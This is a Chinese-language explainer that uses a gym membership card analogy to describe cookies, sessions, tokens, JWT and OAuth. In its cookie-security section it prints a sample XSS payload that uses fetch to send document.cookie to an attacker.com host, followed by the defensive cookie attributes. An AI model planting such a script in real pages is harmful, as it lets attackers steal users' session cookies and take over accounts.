你有没有想过一个问题:为什么关掉浏览器再打开,之前登录的网站还是登录状态?浏览器重启了,凭什么还记得你是谁?
今天,我用会员卡的故事,来讲讲Cookie和Session到底是怎么回事。
原文地址
浏览器是怎么"记住"你的?
想象一下你去一家健身房。
第一次去,前台会让你填表,然后给你一张会员卡。以后每次去,你只需要出示会员卡,前台就知道你是谁了。
浏览器也是一样的道理。
你登录一个网站后,网站会给你发一张"会员卡"——这就是Cookie。下次再来,直接出示"会员卡",网站就知道你是谁了。
Cookie是什么?
Cookie就是浏览器存的一段小数据,就像一张会员卡。
当你登录成功后,服务器会给你发一张"会员卡":
Set-Cookie: userId=12345; expires=Fri, 31 Dec 2026 23:59:59 GMT; path=/; HttpOnly; Secure
这句话翻译成人话就是:
- 「这是12345号会员的卡」(userId=12345)
- 「有效期到2026年12月31日」(expires)
- 「在整个网站都有效」(path=/)
- 「JavaScript无法读取」(HttpOnly)
- 「只能用HTTPS发送」(Secure)
浏览器收到后,就会把这张"会员卡"存起来。以后你每次访问这个网站,浏览器都会自动带上这张卡:
Cookie: userId=12345
服务器一看:「哦,这是12345号会员,之前来过的。」
深入了解Cookie 🔬
Cookie是HTTP协议的一部分,由Set-Cookie响应头设置,由Cookie请求头发送。
一个标准的Cookie包含以下属性:
| 属性 | 作用 | 例子 |
|---|---|---|
name=value | Cookie的名称和值 | sessionId=abc123 |
Expires | 过期时间 | Expires=Wed, 01 Jan 2027 00:00:00 GMT |
Max-Age | 多少秒后过期 | Max-Age=3600 |
Path | 生效路径 | Path=/ |
Domain | 生效域名 | Domain=example.com |
Secure | 仅HTTPS发送 | Secure |
HttpOnly | JS无法读取 | HttpOnly |
SameSite | 跨站策略 | SameSite=Strict |
每个浏览器都有自己的Cookie存储:
- Chrome/Edge:SQLite数据库
- Firefox:JSON文件
- Safari:二进制文件
浏览器会根据Domain + Path + SameSite三个规则决定是否发送Cookie。
Session是什么?
还是健身房的例子。
你有会员卡(Cookie),但健身房还需要知道你的详细信息:姓名、电话、套餐类型、健身记录……
这些信息存在哪?健身房后台的电脑里。
每次你出示会员卡,前台就在电脑里查:「12345号会员,信息如下……」
这个后台记录,就是Session。
深入了解Session 🔬
Session是服务器端的状态管理机制。
┌─────────────────────────────────────────────────────────────┐
│ 服务器 │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Session ID │ │ Session ID │ │ Session ID │ │
│ │ abc123 │ │ def456 │ │ ghi789 │ │
│ │ {user:张三} │ │ {user:李四} │ │ {user:王五} │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
└─────────────────────────────────────────────────────────────┘
↑
│ sessionId=abc123 (Cookie)
│
┌─────────────────────────────────────────────────────────────┐
│ 浏览器 │
│ Cookie: sessionId=abc123 │
└─────────────────────────────────────────────────────────────┘
Session的工作流程:
1. 客户端 → 服务器:POST /login {username, password}
2. 服务器 → 数据库:验证用户名密码
3. 服务器 → Redis/内存:创建 Session {
sessionId: "abc123",
userId: 12345,
username: "张三",
loginTime: "2026-01-01 10:00:00",
expireTime: "2026-01-02 10:00:00"
}
4. 服务器 → 客户端:Set-Cookie: sessionId=abc123; HttpOnly
服务端Session存储对比:
| 存储方式 | 优点 | 缺点 |
|---|---|---|
| 内存 | 快 | 重启丢失、无法分布式 |
| Redis | 快、持久、可分布式 | 需要额外组件 |
| 数据库 | 持久 | 慢 |
为什么关掉浏览器再打开,还是登录状态?
这就涉及到Cookie的有效期了。
Cookie有两种:
| 类型 | 有效期 | 举例 |
|---|---|---|
| 会话Cookie | 关掉浏览器就失效 | 网银登录(安全) |
| 持久Cookie | 到指定日期才失效 | 购物网站记住登录(方便) |
如果没有设置expires,那就是会话Cookie——关掉浏览器,"会员卡"就失效了。
但如果设置了有效期,那这张"会员卡"可以管好几年!
深入了解Cookie有效期 🔬
会话Cookie vs 持久Cookie的区别:
# 会话Cookie(没有Expires/Max-Age)
Set-Cookie: sessionId=abc123
# 持久Cookie
Set-Cookie: sessionId=abc123; Expires=Wed, 01 Jan 2027 00:00:00 GMT
换个浏览器为什么登录失效了?因为Cookie存在浏览器本地,不同浏览器有独立存储,互不相通。
Cookie有哪些问题?
Cookie虽然好用,但也有不少坑:
- 大小限制:一个Cookie最多4KB,存不了太多数据
- 明文传输:HTTP请求不加密,被人抓包就完了
- 会被XSS偷走:攻击者通过JavaScript就能拿到你的Cookie
- 不能跨域:baidu.com的Cookie不会发给google.com
深入了解Cookie安全问题 🔬
为什么Cookie容易出问题?
因为Cookie是明文传输的!HTTP请求长这样:
GET /profile HTTP/1.1
Host: example.com
Cookie: userId=12345; sessionId=abc123
用Wireshark等工具轻松就能看到你的Cookie。
XSS攻击是什么?
攻击者在网站评论区偷偷注入一段JavaScript代码:
// 攻击者在网站评论区注入这段代码
<script>
fetch('https://attacker.com?cookie=' + document.cookie);
</script>
当其他用户访问这个页面时,这段代码就会悄悄执行,把大家的Cookie发送给攻击者的服务器。
怎么防护?
给Cookie加上安全属性:
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
- HttpOnly:JavaScript无法读取,防止XSS偷Cookie
- Secure:只能用HTTPS发送,防止抓包
- SameSite:阻止CSRF攻击
Token:更好的方案?
正因为Cookie有这些问题,现在很多网站用Token来代替Session。
Token就像一张临时通行证:
- 你登录成功后,服务器给你发一个Token
- 以后每次请求,带上这个Token
- 服务器验证Token,而不是查Session
深入了解Token 🔬
Token的工作流程:
1. 客户端 → 服务器:POST /login {username, password}
2. 服务器 → 数据库:验证用户名密码
3. 服务器:生成Token(签名)
4. 服务器 → 客户端:{token: "eyJhbGci..."}
5. 客户端 → 服务器:Authorization: Bearer eyJhbGci...
6. 服务器:验证Token签名,返回用户信息
Token vs Session 对比:
| 特征 | Session | Token |
|---|---|---|
| 存储位置 | 服务器 | 客户端 |
| 服务器压力 | 存储所有Session | 只验证签名 |
| 扩展性 | 需要Redis等中间件 | 无状态 |
| 跨域 | 受Cookie限制 | 任意发送 |
JWT:Token的一种格式 📄
JWT(JSON Web Token)是最常见的Token格式:
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IuW8lOWhlSIsImlhdCI6MTcwNjU5MjAwMCwiZXhwIjoxNzM4MTI4MDAwfQ.fgJ3k9a7b2c1d8e
拆开看是三部分:
┌────────────────────────────────────────────────────────────┐
│ Header (头部) - Base64编码 │
│ { "alg": "HS256", "typ": "JWT" } │
├────────────────────────────────────────────────────────────┤
│ Payload (载荷) - Base64编码 │
│ { "sub": "1234567890", "name": "张三", "exp": 1738128000 }│
├────────────────────────────────────────────────────────────┤
│ Signature (签名) - 密钥加密 │
│ HMACSHA256(base64UrlEncode(header) + "." + ... , "密钥") │
└────────────────────────────────────────────────────────────┘
为什么JWT更高效? 服务器只需要验证签名,不用查询数据库!
OAuth:第三方登录 🔐
你肯定见过"用微信登录""用Google登录"——这就是OAuth。
OAuth让你授权别的应用访问你的信息,但不用告诉它你的密码。
深入了解OAuth 2.0 🔬
OAuth 2.0的完整流程(授权码模式):
用户 → 第三方App → 授权服务器 → 资源服务器
↓ ↓ ↓ ↓
点击登录 跳转页面 返回授权码 返回Token
↓
获取用户信息
OAuth的四种授权方式:
| 方式 | 适用场景 | 安全性 |
|---|---|---|
| 授权码 | Web App | ⭐⭐⭐⭐⭐ |
| 简化 | 纯前端SPA | ⭐⭐⭐ |
| 密码模式 | 自己的产品 | ⭐⭐ |
| 客户端模式 | 服务器对服务器 | ⭐⭐⭐⭐ |
总结
| 类别 | 是什么 | 存哪 | 像什么 |
|---|---|---|---|
| Cookie | 浏览器存的小数据 | 浏览器 | 会员卡 |
| Session | 服务器存的用户档案 | 服务器 | 健身房后台档案 |
| Token | 验证身份的令牌 | 客户端 | 临时通行证 |
| OAuth | 第三方授权 | - | 让别人帮你开门,但不给钥匙 |
写在最后
现在你应该懂了:
- Cookie = 会员卡,浏览器帮你保管
- Session = 健身房档案,服务器帮你保管
- Token = 临时通行证,比Cookie更灵活
- OAuth = 授权别人访问你的信息,不用给密码
- 关掉浏览器还是登录状态 = 你的"会员卡"还没过期
下次登录时看到「记住我」或「用微信登录」,你就知道——哦,背后原来是这么回事呢。